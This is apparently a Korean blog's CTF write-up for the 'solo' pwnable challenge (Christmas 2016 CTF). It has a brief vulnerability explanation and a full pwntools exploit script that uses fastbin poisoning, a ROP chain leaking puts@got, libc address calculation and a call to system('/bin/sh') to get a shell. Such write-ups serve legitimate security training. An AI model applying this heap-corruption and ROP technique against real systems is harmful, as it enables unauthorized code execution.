본문 바로가기

ctf

[Christmas 2016 CTF] solo

# file solo

solo: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a4bc7756998eb9c75ac8e3df5041a688f4bde7df, stripped

취약점이 터지는 구간은 qword_602080 에 값이 존재한다면 2000byte 만큼 값을 넘길 수 있고, RIP 컨트롤이 가능하다.

 

qword_602080 에 값을 넣어줘야하는데,, 두 가지 방법이 있다.

1. fastbin 을 이용해 해당 영역에 값을 덮어쓴다.

2. unsorted bin attack 을 통해 값을 덮어쓴다.

 

이 이후로는 ROP 로 got 주소를 leak 하고 exploit 하면 된다.

 

# exploit.py

 

from pwn import *


p = process('./solo')

binary = ELF('./solo')

 

puts_plt = 0x400600
puts_got = 0x602020

pop_rdi = 0x400d13


def malloc(num, size, data):

        p.sendline('1')

        print p.recvuntil('Number: ')
        p.sendline(str(num))

        print p.recvuntil('Size: ')
        p.sendline(str(size))

        print p.recvuntil('Data: ')
        p.sendline(data)

        print p.recvuntil('$')

 


def free(num):

        p.sendline('2')

        print p.recvuntil('number: ')
        p.sendline(str(num))

        print p.recvuntil('$')

 


def modify(data):

        p.sendline('201527')
        print p.recvuntil('Modify Data: ')

        p.sendline(data)
        print p.recvuntil('$')

 

def login():

        raw_input('>')
        p.sendline('4')
        print p.recvuntil('Input password: ')

        payload_1 = 'A'*1032
        payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400680)
        # pop rdi + puts@got + puts@plt + main

        p.sendline(payload_1)
     
        print p.recvuntil('$')


def exit():

        global puts_libc, system_libc, _bin_sh

        p.sendline('5')
        data = p.recvuntil('$')

        puts_libc = u64(data[1:7].ljust(8, '\x00'))
        libc_base = puts_libc - 0x6fe30
        system_libc = libc_base + 0x46640
        _bin_sh = libc_base + 0x17ccdb


        log.info('puts_libc = ' + hex(puts_libc))
        log.info('libc_base = ' + hex(libc_base))
        log.info('system_libc = ' + hex(system_libc))
        log.info('/bin/sh address = ' + hex(_bin_sh))


def exploit():

        p.sendline('4')
        print p.recvuntil('Input password: ')

        payload_2 = p64(0x602030)*129
        payload_2 += p64(pop_rdi) + p64(_bin_sh) + p64(system_libc)

        p.sendline(payload_2)
        print p.recvuntil('$')

        p.sendline('5')

        p.interactive()


if __name__=='__main__':

        malloc(1, 96, 'aaaa')

        free(1);

        payload = p64(0x60206d)
        modify(payload)

        malloc(1, 96, 'bbbb')
        malloc(1, 96, 'cccc')

        login()

        exit()

        exploit()

 

 

'ctf' 카테고리의 다른 글

[CodeGate 2017 CTF] babypwn  (0) 2017.02.22
[pwnable.tw] start  (0) 2017.02.06
[TJCTF 2016 CTF] oneshot  (0) 2017.01.20
[SECCON 2016 CTF] checker  (0) 2017.01.18
[WITHCON 2016 CTF] malloc  (0) 2017.01.17